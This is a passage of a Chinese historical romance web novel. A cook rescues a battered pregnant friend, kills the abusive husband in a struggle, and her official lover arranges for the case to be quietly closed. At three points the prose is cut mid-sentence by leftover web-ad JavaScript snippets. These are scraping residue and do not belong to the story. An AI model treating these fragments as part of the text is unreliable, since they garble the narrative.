翌日一早,秦见君背着收拾好的小包袱踏出落霞轩的院子,裴眠就等在石甬路上。 “若是有什么意外,能回来便回来,回不来也要托人传信给我......”裴眠边走边叮嘱。 秦见君忍不住挠了挠耳朵,平日里也不见他这么多话,他是不是有什么分离焦虑症啊...... “都记住了,那我走了。”秦见君一只脚踏上马车,转身对裴眠道。 裴眠脸上写满了“不放心”,但碍于秦见君坚持要一个人去,他也只能无奈应允。 “嗯......路上小心......”裴眠的声音有些低,听起来不大高兴。 秦见君伸手将身上的小包袱扔进马车中,又反身下来站在马车前。 知州府侧门口能听到不远处菜场传来的叫卖声,但小巷中却十分清冷,除了一辆马车与马夫,还有立在马车前的几人外,并无其余闲杂人。 袁原见状,拉着还没睡醒、正在揉眼睛的裴小之回了府,连带着请马夫进去喝口茶水。 小巷中只剩下裴眠与秦见君。 “乘马车去很快就能回来的,要是冯莲那边情况不复杂,大概只需要三五天就能回来,这几天你先跟着大厨房吃饭,我给你留了好吃的,记得去厨房找找看。”秦见君笑着道,感觉自己真是操着带孩子的心,留了好吃的还要藏起来让他找,尽量分散他的注意力。 “嗯......”裴眠应了一声,目光紧紧黏在秦见君脸上,一错不错。 “你怎么了?我们每天见面,你不腻吗?正好分开几天,俗话说得好,小别胜新......”最后一个字秦见君没说,只促狭地看着裴眠,果然发现他的耳根开始泛红。 她抬手揉了揉裴眠通红的耳根:“好了,回去吧,我要出发了。” 裴眠顺势捉住她垂落的手,指尖搭在她手心按了按,细细摩挲着,半晌才道:“路上小心,快去快回。” 他原也不想这么担心,只是秦见君的父亲会打她,若是碰上面,即便她身子强壮了许多,也不是男人的对手,这才是他最担心的地方...... 马车驶出小巷,没入热闹的人群之中。 裴眠捻了捻手指,似是在回味她的体温。 “回书房,今日虔渊州有新消息吗?”他转身进了侧门,袁原与裴小之跟在身后。 “官家来信,已经放在您桌上了。”袁原汇报道,“连立山升为叶水州知州,昨日已经启程了。” 裴小之听了忍不住愤慨道:“连立山治水有功,居然被派到那种荒凉之地去了?” “连立山并非赵广涵一派,被打压也在常理之中。”裴眠道。 裴小之叹了口气,知晓自己除了为连立山抱一句不平外,并不能真正帮上他。 三日后,马车停在了湖梁县前。 “就送到这里,麻烦您了。”秦见君正要掏钱,却见马夫摆了摆手。 “绵州那位大人给过银钱了。” “好,那您且在路边客栈等我,这马车太惹人注目,不便驶入县中。”秦见君解释道。 她记得安承喜的轿子就十分小,而那轿子在湖梁县中已经算是“顶配”了。 自己乘坐的这马车是裴眠特意找的,虽外观看着不张扬,但大小摆在那儿,进入湖梁县是一定会引起围观的。 她戴上帷帽下了马车,一路并未停留,直奔绿苗街。 “绿苗街西边第三户......”她嘴里喃喃着地址,一家家数过去,终于找到了安承喜说的院子。 在湖梁县能住上这样的院子已算是家境不错了,可秦见君记得先前裴眠同她说过,底层官员的俸禄极少,堪堪够一家人糊口,应当是买不起这种院落的...... 正发呆,院子门忽然开了。 秦见君与门内带着帷帽的小娘对上,两人齐齐愣住,还是安承喜先掀开帷帽看过去,问:“你是何人?” 秦见君这才也掀开些帷帽道:“秦见君,安小姐还记得我吗?” 安承喜当然记得她! 秦见君长得好,本就让人过目不忘,何况还给了她千层饼方子,她靠着这方子赚了不少银钱! “记得的!”安承喜忙让开身,“快进来说。” 秦见君迈入院子,随着安承喜去了她的屋子中。 两人摘了帷帽,安承喜松了口气般道:“你可算来了,我正要去井沟村呢......” “发生什么事了?”秦见君看她语气不好,忙问。 安承喜重重叹了口气,才开口道:“先前信中与你说了,冯莲与县里的戴鸣,就是那个戴书生......交好,可戴鸣一无功名、二无钱财,要了冯莲的身子后却不娶她,她先前的婚事没了,名声又坏了,戴鸣不肯负责,冯莲的爹娘便将她许给了村里的老鳏夫......” “那老鳏夫家里的田地只够两人温饱,余钱都拿去买酒了,起先还好好的,后来冯莲有喜,他便疑神疑鬼说这孩子是戴鸣的,于是对冯莲拳打脚踢,她逃过几次,可怀着孩子跑不远,都被抓回去了,这才托人找到我给你去信。” 秦见君越听,眉头蹙得越深,这事也算冯莲识人不清,不过她于自己有救命之恩,自己既然来了,便是能帮就帮的。 “你刚刚说正要去井沟村?”秦见君问。 安承喜这才像想起什么似的,忙道:“她托人来找我,我便留了个心眼,让村上相熟的人帮忙看着,方才那人上门来说冯莲又挨打了,这次连叫都叫不出声了,怕是不大好,老鳏夫不肯给她请大夫,我正要去看看呢......” 秦见君顿时也紧张起来,两人戴上帷帽一同往外走。 “我原先没听说过井沟村有什么老鳏夫......”秦见君上了板车才想起这事。 安承喜用帕子捂着嘴,挡着灰,声音也捂得闷闷的:“是隔壁麻地村的,因为游手好闲被村里人戳脊梁骨,便顺着成亲的名头来了井沟村,好在他的地离井沟村也不远......” 秦见君点点头,思索这事要如何善了。 最好的法子自然是和离,但那老鳏夫未必肯,秦见君伸手隔着包袱按了按里头的钱袋子——怕是要花些银钱.... (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' .. 两人到井沟村时天色已黑,零星几家燃起烛火,安承喜与秦见君小心地绕过养狗的人家,去了村尾偏僻处的一间破屋前。 这屋子比秦见君在秦家住的漏风屋子还破,从外面就能看见里头的样子,好在是夏日,若换了冬日,这屋子与露天也没什么不同了。 秦见君蹲在杂草中探头去看,屋子里漆黑,没点灯,屋顶的破洞处漏下月光,能隐约看见床上似乎躺着人。 “那老鳏夫似是喝酒去了......”安承喜小声道。 秦见君四下看了看,大着胆子道:“我进去看看,你守在这里。” 安承喜知晓望风的重要,于是点点头,蹲在杂草中不动了。 秦见君矮着身子穿过杂草,迅速跑进了屋子。 床上那人似是听到了动静,微微侧过头,青紫肿胀的脸暴露在月光下,秦见君辨认了一会儿才认出这是冯莲。 “阿君......”冯莲的呼吸微弱,嗓子里似是粘满了粗粝的沙子,连说话都只剩气音了,“是阿君吗?” “是我。”秦见君上前,上下打量着冯莲,她脸上、身上都是伤,小腹微微鼓起,再往下,血染红了一片床铺,看得秦见君心头直跳。 “你来了......”冯莲的眼睛被高高肿起的肉挤得只剩一条缝了,艰难地淌出晶莹的泪。 秦见君心里忍不住升起一阵怒意,她极少这样生气,上次感到愤怒还是看见袁芽不穿衣服缩在角落时...... “肚子疼吗?”冯莲下身的血太多,秦见君甚至不敢用手去摸她的小腹。 “不知道......”也许肚子是疼的,但浑身都好疼,冯莲已经有点分不清楚肚子到底有多疼了。 “你等我,我去给你找大夫......”秦见君的声音有点哽咽,她有预感,这孩子怕是已经没了,如今能保下大人的命就是万幸。 说完,她又小心跑出屋子,让安承喜快点去隔壁村子里找大夫过来。 安承喜看秦见君脸色不对,便也没多问,赶忙转身去叫大夫。 秦见君重新回了屋子,蹲在床边陪冯莲说话,生怕她睡过去就醒不来了。 “你怎么样......”冯莲的脖子以一种扭曲的姿势微微侧着,说话时嘴不大能张开,但夜里寂静,秦见君能听清她的话。 冯莲原本圆圆的喜庆脸已经看不出先前的模样了,可缝中露出的眸子在看到秦见君时依旧闪着光。 “我很好。”秦见君轻声道,“我在绵州赚了钱,等你身子好了,我带你去绵州一起赚钱......” 冯莲似乎想笑,但嘴里和脸颊上都痛,她仅仅扯了一下嘴角便放下了,喉咙里的气音愈发微弱了:“我......我不去了......他不会......不会放我走的......” “能去......”秦见君觉得眼眶犯酸,承诺道,“只要你活着,我就带你走。” 冯莲的脸缓慢地转了回去,她盯着破漏的屋顶看了会儿。 “那我......要活着......” 秦见君给她把落在耳边的泪水擦了,道:“对,只要活着,我一定带你走。” 门外传来响动,秦见君以为是安承喜回来了,忙转头看过去,看见来人却心头一紧。 那是个陌生的男人,衣裳皱皱巴巴的,满身脏污,头发乱蓬蓬地支着,一张脸几乎被胡子遮了大半,眼周尽是皱纹,将原就不大的眼睛挤得愈发小,鼻头却十分大,泛着红,秦见君甚至能看见上面布满了黑头...... 他看到秦见君,愣了一瞬,转而看向床上的冯莲,带着乡音的粗狂声音响起:“谁让你带人来的?!” 56.第 56 章 这老鳏夫虽矮,身子却够宽,站在门口像堵墙似的。 “臭婆娘!老子没打乖你?”老鳏夫满身酒气,随手抄起门边的锄头就要上前砸人。 霎那间,秦见君想起秦留志扬起棍子的时候,深埋心底的恐惧爆发般涌了出来。 可眼下冯莲再经不起折腾了,她必须阻止这个老东西! 于是她很快回神,冲到门边拿起镰刀,挥手挡住了老鳏夫下落的锄头,“砰”的一声,她手臂都震得发麻。 “嘶......”秦见君来不及顾及手上的疼痛,立刻打起精神看向老鳏夫。 老鳏夫的脸喝得通红,眼神也有些涣散,使劲摇头眨眼才算看清了秦见君的模样。 “哟呵!长得真好看......”说着,他扔了手里的锄头,摇摇晃晃走上前,要去摸秦见君。 “滚!”秦见君将镰刀挡在身前,警告那老鳏夫。 酒壮怂人胆,他一点也没被吓到,反而笑嘻嘻凑上前道:“够烈啊!你想怎么的?想用镰刀砍我?” 床上的冯莲发不出大声音,只能从喉管挤出气音骂着,老鳏夫充耳不闻,直到冯莲使尽全身力气将锄头砸到了他脚边,他才像是忽然想起冯莲来似的,转头恶狠狠地骂了几声。 冯莲的脸肿得不行,但仍能看出她在瞪着老鳏夫,老鳏夫被这眼神激怒,弯腰捡起锄头,高高扬起...... 秦见君吓得瞳孔放大,不出意外的话,锄头会落在冯莲小腹上! 她不知从哪儿来的力气,硬生生将三步并做一步,一脚踹在老鳏夫的腰上。 男人应声倒地,摔得有些懵,坐了半晌才看向秦见君,气得眼珠子都快爆出来了。 “两个臭婆娘!看老子不好好教训你们!” 老鳏夫攥着锄头站起来,扬手一棍子砸在秦见君肩上,她吃痛惊呼,却不敢懈怠,忍着巨痛抬起镰刀格挡,却不想那老鳏夫怒意上头,竟不管不顾地撞了上来,待秦见君想要收回镰刀时,已是来不及了。 “扑哧......”锋利的镰刀划破脖颈,鲜血喷溅在秦见君脸上,温热的红色模糊了视线,鼻尖漫上来铁锈味,她嘴微张着,舌尖也尝到一点甜...... 老鳏夫似是还没反应过来发生了什么,仍然怒目看着秦见君,指着她的手随着浑身抽搐而颤抖,不一会儿便没了力气,一头栽倒在地上,殷红的血瞬间铺开...... 秦见君浑身发抖,半晌才扔了镰刀,眨眼时发现鲜血覆在了眼球上,每眨一次眼,视线中便叠上一层红。 透着这层迷幻的红色,她看着地上那个方才还在与自己打斗的男人,这会儿正瞪眼躺在地上,胸腹看不见起伏,身子还会时不时抽动一下。 “我......杀人了......”秦见君的嘴越张越大,用力大口呼吸着,试图冷静下来。 这属于“正当防卫”吧?可大荆律例中会有这条吗? 秦见君呼吸急促,眼前除了红色还漫上来黑色,脑子也有些混沌,直到听见安承喜的声音。 “这是......怎么了?”安承喜努力克制住没有尖叫出声,赶忙掏出帕子给秦见君擦脸。 “我杀人了......”秦见君看向安承喜,问,“大荆律例中,有‘正当防卫’这条吗?” 安承喜举着手帕按在秦见君眼角,想替她擦掉眼中的血红,听她这么问,思索片刻才摇头道:“我没听过这条......” “那若是杀人者并非有意杀人,而是误杀,会怎么判?”秦见君问,眼里不知何时溢出泪水来,将血水都冲了出去,视线也渐渐清晰了。 “要看案子的具体情况......”安承喜想了想,又低声补了一句,“也看双方背后是否有人......” 有人......找关系?裴眠! 秦见君抬手按在突突直跳的额角,发抖的身子慢慢平息——别慌,还有裴眠在...... 她蹲下身,探了探老鳏夫的鼻息,又摸了摸他颈侧脉搏,终于脱力般一屁股坐在了地上。 他真的死了,而且死不瞑目。 秦见君不敢低头,因为只要一低头就能看见老鳏夫那双可怖的眼睛,正直勾勾盯着她,她甚至觉得那双眼睛会随着她的方位移动...... “大夫呢?”秦见君用左手按住自己还在发抖的右手问。 “大夫不在村子里,说是明日才回,我带了几个人过来,就在门外,可以把冯莲抬上板车,我们送她去县里找大夫。”安承喜的声音有点颤,但表达尚还清晰。 秦见君十分庆幸发生这种事时,身边跟着的是安承喜,若换了心智不坚定的,或许早就乱套了。 “先找大夫。”秦见君走到床边,用床脚的破布给冯莲盖了盖身子。 “地上这......?”安承喜小声道,“这屋子四面都是洞,尸体早晚会被发现,到时候案子会报到我爹那儿去,我能让他帮你拖一拖,你......你趁这时候快跑吧,绵州也别去了,小心知州大人......” 秦见君感激地看向她,心里记下了她的恩情。 “谢谢你,尸体就放这儿,估计明天才会有人发现,我们先送冯莲去找大夫,随后我就走,只需县令大人帮我拖一拖,我会想办法处理这件事的。” 县令想拖案子自然是可以的,但不能不给说法,自己若是一去不回,那这就是桩悬案,会成为县令的一个把柄,她不想拖累旁人。 两人合力将冯莲抬出屋子,挪上了板车。 夏夜蝉鸣不断,嗡嗡扰人,却无人开口抱怨。秦见君与安承喜沉默着,板车上的冯莲已经有些意识模糊了。 板车上的伤患十分虚弱,驾车的人也不敢赶太快。一路上缓缓前行,到县里时已是后半夜了。 安承喜拿着县令牌子敲响了医馆大门,老大夫仁心,被吵醒也不恼,匆忙穿了衣裳出来诊脉。 “孩子没了,但送来得及时,我可保她性命无虞,至于其他......就要看她自己了......” 听到“性命无虞”四个字,秦见君忙点点头,问大夫:“她能在您的医馆养伤吗?银钱不是问题......” 大夫侧头又看了一眼已经不省人事的冯莲,心软道:“且让她住下,还不知能吃几口饭......待走的那日再算银钱吧。” “谢谢大夫。”秦见君想了想,还是拿了些银钱给大夫,“这是定金,等她痊愈那天,我再付剩下的。” 大夫并未推辞,收了银钱,抓药去了。 安承喜从门外进来,递给秦见君一套衣裳:“换上这个,你现在身上都是血,出去太引人注目了。” 秦见君低头看了看,自己胸前全是血,方才的老大夫怕是以为这是冯莲的血才并未询问...... 她换好衣裳出来,安承喜还没离开。 安承喜上前托起秦见君的手,塞了一把银钱进去:“你快逃吧,若是能找到帮手便带帮手回来,若是找不到......就别回来了,不必担心这边,我会想法子的......” 秦见君将银钱还了回去,道:“我有钱,今晚就走......只是......”她转头看向冯莲,忧心道,“只是有些放心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不下她......” 安承喜让她放心:“我会照看她,大夫既然说了能活命,我就一定照顾她活下去。” 秦见君点点头,转身推开门要走,刚迈出去一步,又转了回来,看向安承喜问:“为什么这么帮我们?” 安承喜是县令的女儿,照理说可以不必卷入这事中,可她却事事亲力亲为...... 安承喜似是没想到秦见君会突然问这个,她怔愣了一瞬才道:“你给我的千层饼方子极好用,如今我已在县里开上了铺子......当初你让我打听冯莲的事,我知晓她与你相熟,是信得过的人,新店缺人手,于是招她来做工......” “她就是.....在我铺子里与戴鸣相识......我时常想,若是当初我不去井沟村找她来做工就好了,那样她便不会遇到戴鸣,也不会有这些事......”安承喜说着,眼眶开始泛红。 秦见君没想到她竟然把这些都归咎在自己身上,只能轻叹一声道:“人各有命,有些劫数躲不过的,事已至此,你也已经尽力了,别过多苛责自己,无论如何,这事是我和冯莲欠你人情,我会记着。”说完她便出了门。 秦见君去了路边客栈,想找原先送她来的车夫,却不想那车夫夜里喝酒睡死了过去。 “小娘子若是着急,可将马车前的马匹牵出来,我给您套上马鞍,快马加鞭赶路可比乘马车快多了!”客栈的伙计提议道。 秦见君看了看高大的马,心里发怵,她没骑过马,万一这马脾气不好,那她也不用去绵州了,估计半路就命丧蹄下了...... 正纠结着,远处传来马蹄声,不一会儿一匹骏马便停在客栈门口,上面翻身下来一人,身着劲装,将信封递给伙计:“你们掌柜的信。” 见伙计收好信,那人正要走,便被拉住了。 “你还要去哪儿送信?”秦见君问。 “这是最后一封,我现在要回绵州了。” 快马回绵州并不算远,但对秦见君来说,称得上是“煎熬”。 她白日里在马上颠得难受,夜里进了客栈也不得好眠,只要闭上眼,脑海中就会浮现那老鳏夫的眼,她吓得一身冷汗,只能睁眼到天明。 偏偏骑马的信使话少,她便愈发觉得孤寂。 渐渐地,那老鳏夫从闭眼浮现,变成了睁眼也能见到,他会站在路边树下,抑或是客栈窗外...... 秦见君觉得自己的精神出了问题,她必须尽快找到裴眠...... 夏末秋初时天高风凉,入夜后淅淅沥沥下起雨来,裴府书房中暖灯荧荧。 赵浅聿:“你家小厨娘呢?” 裴眠头也没抬:“回乡探亲去了。” 赵浅聿:“那你这些天吃什么?” 裴眠:“她都安排好了。” 赵浅聿:“你家这小厨娘真是善解人意又温柔周到……” 裴眠:“那是自然。”顿了顿他又补充道,“她还很聪明。” 赵浅聿撇了撇嘴:“......知道了知道了,这么省心的小厨娘真是再难找到第二个了!” 裴眠勾了勾嘴角正要说话,房门忽然被撞开,秦见君浑身湿透,裙摆上满是泥水,跌跌撞撞地跑了进来。 她头发散乱,一缕一缕黏在脸颊上,看着十分狼狈,身子还在微微发抖,“轰隆”一声雷响,闪电照亮她惨白的脸,嘴唇都冻紫了。 “你怎么了?”裴眠上前去扶,却被秦见君后退一步躲开了。 她眼珠子僵住,直愣愣地看着裴眠,半晌才开口道:“裴眠……我杀人了……” 57.第57章(一更) 夜雨潇潇,荷叶盛莹。 笼罩了两个多月的炎热似乎被这场雨统统驱散,秦见君裹着裴眠拿来的毯子,依然冷到发抖。 “此事我会处理,你不必太过忧心。”裴眠听完事情原委,并未露出惊讶或难办的表情。 秦见君稍稍松了口气,看来裴眠确实能帮忙操作这件事。 许是回到了熟悉的环境,见到了裴眠与赵浅聿两个熟悉的人,秦见君的精神终于好了些,也并未在屋子里看见老鳏夫的身影了。 “你眼下正在升迁定职的关键时候,贸然插手此事岂不是授人以柄......”赵浅聿的话还没说完,便被裴眠一个眼神瞪了回去,剩下的话他只好咽回了肚子里。 秦见君抬头去看裴眠,暗道自己这事来得真不是时候。 “夜深了,无事你就快回去休息吧。”裴眠开始赶客。 赵浅聿撇撇嘴,虽然心中对裴眠“见色忘义”的行为十分不满,但脸上还是留足了面子,抬腿往外走,却被秦见君叫住。 “赵大人......”秦见君忽然想起一件事,犹豫了一下还是开口问道,“赵大人最近见过沈小姐吗?” 赵浅聿回头看向她,想了想才道:“沈婉小姐?” “嗯。”秦见君点头。 赵浅聿有些莫名:“没见过,她怎么了?” 看来古代谈恋爱真的是很难的事,过岭州与绵州不过隔了两条大街,沈婉与赵浅聿居然这么久都碰不上...... “我听说她前段日子受伤了。”秦见君怕赵浅聿觉得事不关己,于是又道,“好像是为了沈小姐的婚事,她有了心上人,这心上人或许赵大人认识......” 赵浅聿一头雾水:“我认识?” 印象中他与这位沈小姐并无往来,她早几年便搬离了虔渊州到了绵州。说起来,二人在绵州都认识的适龄才俊,除了裴眠还有谁?可前段日子在裴府遇上,却并不觉得她对裴眠有意...... “说是先前在虔渊州沈府办诗会时认识的。”秦见君提醒道。 “诗会......”赵浅聿忽然想起,确实有这么回事。 他还记得在那诗会上,枢密使家的郎君殷祈安对沈小姐出言不逊,彼时沈叠山在任枢密副使,沈婉被冒犯后也不敢还嘴,他便出头说了两句。 难不成沈小姐的心上人是殷祈安? 赵浅聿忍不住蹙眉,过岭州与绵州毗邻,往后有的是机会见面,沈小姐多少算半个友人,还是抽空去提醒她一下吧。 赵浅聿转身,开关门时带进来一股潮湿的风,秦见君忍不住裹紧了毯子。 “冷?去泡个热水澡?”裴眠问。 秦见君缩在椅子上不愿意动,三天都在马上颠簸,这会儿腿疼得不行,脑子也反上劲来晕乎乎的。 她懒懒地垂着眸子道:“我歇一下再去。” “会着凉。”裴眠蹲在她面前道。 或许是咬定裴眠不会强迫自己,秦见君便任性地摇摇头,依旧缩着不动。 “走不动?” “嗯。” 秦见君觉得自己眼睛都快闭上了,不然先睡一觉,明日醒了再收拾洗澡吧? 正想着,面前的裴眠忽然起身伸手,一把将她抄起来,横抱在身前。 “啊!”秦见君吓得攥紧了裴眠的领子,她震惊地看着近在咫尺的帅脸——他力气这么大的? “送你回去。”裴眠抱着她往落霞轩走。 一路上秦见君的身子都十分僵硬,生怕裴眠体力不支把自己扔地上...... 不过裴眠居然一路稳稳当当地将她抱回了落霞轩。 秦见君泡进热水中觉得浑身都疼得不行,身上不仅有灰,还有一些伤,尤其是肩头被锄头砸的地方,还有腿根被马鞍磨的地方...... “嘶......呼......”她泡得龇牙咧嘴的,方才的困意都被疼痛给刺激醒了。 坐在桌边等着的裴眠忍不住揉了揉手臂,他额头上隐隐沁出汗,鼻尖的呼吸也有些重——幸好从书房到落霞轩的路不算很远,不然就要出糗了...... “裴眠......” 秦见君穿好衣裳出来,见裴眠坐在桌边等自己。 一盏暖黄的烛火印在他月牙白的衣裳上,他周身的清冷似乎被燃热了,连带秦见君的心也热了起来。 “洗好了?”裴眠起身接过她手中的帕子,轻轻地给她擦头发。 秦见君乐得自在,索性坐在床边打着瞌睡,等裴眠给她擦干头发。 “先别睡,待会儿齐大夫会过来。” “嗯?”秦见君疑惑,忽然肩上搭上来一只大手,手指往下按了按,她觉得一阵刺痛,差点叫出声。 “怎么受伤的?”裴眠的声音听着有些沉,秦见君敏感地觉得他似乎在压抑情绪。 “老鳏夫用锄头柄打了一下,不碰就不太疼,应该没什么大碍......”秦见君越说越心虚,因为她发觉头顶擦水的动作越来越轻了。 不一会儿,门口传来敲门声,裴眠放下帕子去给齐冬青开了门。 直到后半夜,秦见君才上好了药躺下。 裴眠给她盖好被子,看着她睡着了才离开。 熟悉的床和被子让秦见君很快入睡,但梦中的老鳏夫依旧可怖。 屋子里黑漆漆的,唯有床上的人呼吸愈发深重。秦见君像是溺水之人终于得以呼吸般猛喘了几口,腾地从床上坐起来,牵扯到肩上和腿间的伤,疼痛袭来,刺激得她清醒不少。 窗外的雨停了,但月光并未出来,窗里窗外都像塞着浸满了水的黑色海绵,秦见君觉得自己的肺似乎坏掉了,每一次呼吸都艰难得很...... 裴眠回房后将袁原叫了出来。 “去一趟湖梁县,把鳏夫案子结了。” 袁原提醒他:“近日赵广涵那边盯得紧,大人的升职折子还未拟定,此时我离开绵州,怕是会被人抓到把柄。” 裴眠当然知道,袁原的存在早就不是秘密了,眼下风声鹤唳时,袁原的行踪被监视,可眼下再找不出更可靠的人去处理此事,他只能冒险一试。 “你尽管去。” 袁原无奈,只能领命出门。 折腾了大半夜,裴眠有些犯困,洗漱后躺在床上闭眼,没一会儿便意识模糊了。 快要睡着时,忽然听到房门有响动,他倏地睁开眼,看向屏风外的门。 “嗯?睡了吗?”秦见君小声喃喃了一句,正要侧头贴上去听听动静,房门就被打开了,她失去平衡扑了进去...... 没有如预料中摔在坚硬的地上,而是落入了一个同样坚硬的怀抱。 裴眠疑惑地接住秦见君,她身上只穿着睡衣,外面的雨后凉气四处弥漫,裴眠只好先将她带回了屋子。 其实秦见君也不想乱跑,只是她方才醒后发现老鳏夫的身 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 影又出现了。落霞轩的屋子里到处是他死后不甘的眼神,那张带着酒红的皱脸狰狞又凶恶,她吓得睡不着。 裴眠听完,知晓她是第一次碰人命,害怕也实属人之常情,便将床铺让了出去。 “你睡好。”裴眠掀开被子,让秦见君躺进去。 秦见君一边往床上爬一边问:“那你呢?” 裴眠替她拉好被子,道:“我让小之搬个床榻进来。” “啊?”秦见君转头看了看床——很大啊,双人床来的。 与裴眠相处了一个多月,她自然知晓他的作风十分正人君子,有好几次她自己都忍不住想亲近裴眠,但他都会礼貌退开。 可今夜被老鳏夫吓着了,秦见君真的非常想黏着裴眠,汲取一点安全感。 “一起睡吧,大半夜的又折腾之管家做什么?”秦见君往里挪了挪,给裴眠让出位置。 裴眠眉头轻蹙,不赞同道:“这样不好......” “有什么不好的?”秦见君伸手拉住裴眠的袖子,“我们在谈恋爱啊,谈、恋、爱!” 她拽了抓裴眠的袖子道:“你还记得什么是谈恋爱吗?就是‘相处’,是‘以成亲为目的的相处’,成亲能做的事,我们都能做,何况只是躺在一张床上睡觉。” “可毕竟还未成婚......”裴眠依旧犹豫。 “裴眠。”秦见君的语气有些严肃起来,“难道你觉得我们以后不会成亲?” 裴眠望向她的眼睛,她眸子里有些愠色。 “我并未这么觉得......” “那就一起睡!”秦见君趁裴眠不注意,用力拽了他一下。 裴眠猝不及防伸手撑在床沿,骤然贴近秦见君的脸,他有点慌乱地又直起身子,耳根有点泛红,好在夜色昏暗,无人发觉。 “好困啊......”秦见君打了个呵欠,催促他,“快睡觉吧,我都三天没睡好了......” 裴眠只好僵着身子躺在了床上。 两人中间隔着半个人的距离,秦见君侧头看裴眠,他面朝上平躺,双手规矩地垂在腿边——感觉睡觉像站军姿...... “裴眠......”她喊了一声,得想办法让他放松点,不然一夜都睡不着。 “嗯?”声音很清晰,他果然没睡着。 “我疼......”秦见君从被子里伸手去戳裴眠。 裴眠听她说疼,立刻转身看向她:“伤口疼?肩上?” “嗯,可疼了......”伤口都敷了药,不好触碰,于是秦见君又道,“腰也疼,骑马颠得骨头都要散架了......” 裴眠心下了然,且不说秦见君根本不会骑马,即便是会骑马的人,骑久了也容易腰疼。 “那......”裴眠迟疑了一下,还是道,“给你揉揉?” 他学骑马时也腰疼过,彼时大夫每日都会给他按摩腰部,他还记得手法。 秦见君眼睛一亮,忙应声道:“嗯嗯!” 裴眠:“......”怎么有种中计的感觉? 不过话都说出口了,他只好探出手搭在秦见君后腰上。 她的腰很细,但又很有韧劲,揉捏时能感到腰肢紧致...... 裴眠的手法很好,腰间本就不突出的酸痛被揉得彻底消失。 秦见君感到浑身舒适,扯着被子盖在鼻尖下,周身都是裴眠的气息,她很快陷入深睡。 58.第58章(二更) 翌日清晨,裴小之在淌虹苑门口转了好几圈也没等到自家郎君喊他。 他有些担忧地抬头看了看天色——平日里郎君这会儿早该醒了,怎么今日还没动静? 正犹豫要不要敲门叫醒裴眠,就见裴礼卿与方涟过来了。 “老爷、夫人。” 方才下人来报说二人从避暑庄子上回府了,是以裴小之才急着让裴眠起床,总不能老爷夫人回府时,郎君还在赖床......多不像话...... “眠眠还没起?”方涟觉得有些奇怪,自家儿子极少偷懒,也并未听说他近日有身子不适的情况,怎么睡得这么迟? 上前敲了敲门,无人应声,方涟便推开门,朝屏风处说了句:“眠眠?娘进来了......” 依旧无人应声。 方涟带着疑惑绕过屏风,眼前的场景吓了她一跳。 裴眠感觉屋子里有人进来了,便悠悠转醒,想转身去看,却发现右手被压住了。 他低头一看,秦见君不知何时钻进了他怀里,双手拢在胸前,紧紧抓着他的衣裳,白嫩的脸颊贴在他颈侧,温热的呼吸一下下往他脖颈处扫着。 “眠眠......”方涟克制着轻声喊他。 秦见君觉得这一觉舒服极了,这几日没睡好,她都快忘了好好睡觉是什么感受了。 耳边传来模糊的喊声,秦见君还没睡够,于是低头拱了拱,想把耳朵埋进被子里,却发现额头顶着的似乎不是被子...... 她眯着眼睁开,入目是有些凌乱的衣襟,锁骨清晰可见。 “嗯......”好瘦啊,锁骨也太突出了。 “嗯?”秦见君瞬间清醒——锁骨下面怎么平平的?这不是自己的胸膛啊! 她撑起身子退开,才发现自己不知何时与裴眠缠在一块睡了,这倒不是最惊讶的,最惊讶的是方涟怎么在屋子里? “你们......”方涟交叠着手虚捂在唇上,眼神中带着好奇,还带着些犹豫,似乎不知当问不当问。 秦见君抬手按了按太阳穴——完了,怎么解释? 待两人收拾好出门时,方涟已经绘声绘色地同裴礼卿说了今早看见的一幕。 “爹、娘。” “老爷、夫人。” 方涟看向二人时,眼神都温和不少,笑着道:“昨夜睡得可好?” “还......还行......”秦见君磕巴了一下,有些忐忑地等着方涟审判。 大荆风气并不算太开放,还未成亲就睡一块儿,会不会被方涟误会呢? 没想到方涟始终笑眯眯的,看起来心情很好的样子,倒是一旁的裴礼卿,冷着脸将裴眠叫到一旁。 “这是怎么回事?”裴礼卿的语气少有的严肃。 “我们在谈恋爱。” “谈恋爱?” “就是在一起相处,若是觉得合适,就成亲。” 裴礼卿蹙眉:“你若是真喜欢,只管说出来,我和你娘不在乎门第,会按照礼节登门提亲,你闹这么一出是为何?” 裴眠觉得有些冤枉,道:“不是我闹,谈恋爱是她提的......”说着,他有些委屈地放轻了声音,“我也想去提亲啊......” 裴礼卿倒是没想到“谈恋爱”的说法是秦见君提的,略思索了一会儿,脸色也缓和了些,道:“我听说过秦小娘家里的事,怕是先前许亲留了阴影,才想出这个么谈恋爱的法子,你且安心处着,哪日她松口想成亲了,我同你娘再去提亲。” 裴眠点点头。 裴礼卿侧头看了一眼方涟,她正拉着秦见君说话,于是压低了声音道:“今早收到消息,朝中有人参你徇私枉法、草菅人命,这是怎么回事?” 裴眠气笑了,勾了勾嘴角道:“朝廷里那群东西的鼻子够灵的,昨夜出事,今早就拟了折子参上去......” 想来袁原去湖梁县的事还是没瞒住,眼下只要袁原做好证据、迅速结案,自己再一口咬定并无此事,加上官家有意宽恕,此事便可糊弄过去。 裴礼卿听裴眠说了事情经过,眉头也并未松开,只道:“即便能糊弄过去,却也多少损了名声,此次升职怕是不能将你往虔渊州调了。” “无妨。”裴眠看向裴礼卿,“爹,在绵州这段时日,我想通了一件事。” 裴礼卿认真听着。 “朝廷官制由来已久,任凭我在朝堂上搅弄风云,也不过是螳臂当车,不若多走些地方,为百姓做实事,也好过困在虔渊州那高墙之中虚度光阴。”裴眠说得字字清晰,掷地有声。 裴礼卿有些怔住,问道:“不做高官了?” 裴眠笑了笑道:“官位不论高低,只论是否真的有利于百姓。” 裴礼卿仔细看着裴眠的表情,他神情轻松,不似作伪,连眼底都带着光,一如当年高中状元,他身着绿袍回府报喜那般,隐隐有了意气风发的样子。 “好......好。”裴礼卿松了眉头,露出了笑容,“你想好了便去做。” 他上下打量了裴眠一遍,眼睛里都是温和:“自你被贬入绵州,我和你娘夜夜不得好眠,生怕你从此意志消沉......断了生路......” 思及此,裴礼卿有些后怕似的叹了口气,接着道:“好在你自己想通了,回虔渊州也好,四处做官也好,爹和娘只盼你康健开心。” 裴眠眼中也染上柔和,应道:“我知晓的。” 